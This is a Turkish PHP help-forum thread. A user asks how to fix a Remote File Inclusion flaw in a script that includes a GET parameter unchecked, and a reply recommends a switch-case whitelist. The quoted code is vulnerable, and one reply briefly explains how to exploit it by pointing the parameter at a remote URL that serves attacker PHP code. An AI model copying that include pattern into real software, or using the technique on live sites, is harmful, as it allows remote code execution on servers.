PHP Yardım=(
-
Selam Beyler Ben Kendime Kişisel Blog Yapıorum ama Kodlarda RFI Buldum bunu nasıl kapatabilirim?
kod:
<?php
$s=$HTTP_GET_VARS["s"] ;if ($s<>"") {include($s.".php");}
else {include("index.php");}
_____________________________________________Yardımcı Olursanız Sevinirim..=)
-
öncelikle konunu web programlama bölmüne kaydırırsan sevinirim....Bunun yanında tam kodu ve ne yapmak istedigini söylersen daha iyi yardımcı olabiliriz....
-
go.php nin tam kodu zaten bu!
Yapmak İstedigim mesela php olmayan html dosyalarının uzantılarını .php yaparak go.php uzerinden cagırmak istiyorum..
-
hmmm onu kodla yapmak yerine apache server üstünden yapabiliyorsun ayarları olucaktı..... kod için baya cambazlık yapman gerek
-
Hmm Ama Benim Bunu Kodla Yapmam Gerek:S
Yardımcı Olurmusunuz?
-
html dosyasını php olarak çagırmaktaki amacın nedir zaten php olmasını istiyorsan php kaydet.....hmmm ama güvenlik şu bu dersen onun için Sessionları kullan bence....
-
Konuda Uzadı yaw:S
hacı bunu kapayabilirmisin
Yada baskası kapayabilirmi?
-
burayı incelemeni tavsiye ederim.
-
HTTP_GET_VARS kullanılmıyor artık. $_GET kullanılmalı. Ayrıca RFI var.
if ($s<>"") {include($s.".php");}
script.php?s=http://www.fazlamesai.net/index
şeklinde include edebilirsin.. index.php'deki yazılanları alıp çalıştırır. Kendi sunucuna bir php dosyası koy ve içerisine çalıştıracağın php kodlarını yaz. Dosyayı çalıştırdığında içeriğini yazsın.. Veya bir txt dosyasından bilgileri okusun, ekrana direk bassın, sen de o txt dosyasına çalıştıracağın kodları yaz.
Ayrıca BÜYÜK HARF KULLANMA! Bağırmak demektir, başına iş açar, dikkatli ol..
switch ($s)
{
case "index":
include ("index.php");
break;
case "haber":
include("habergoster.php");
break;
}
Şeklinde switch-case yap..
http://tr2.php.net/switch
-
beceremedm yaw:S
php ye yenı basladım bırazcık daha açarmısın?
Lütfen?
-
ulan insan bi teşekkür eder amk : D . a4 başta olmak üzere hepnze teşekkürler :D
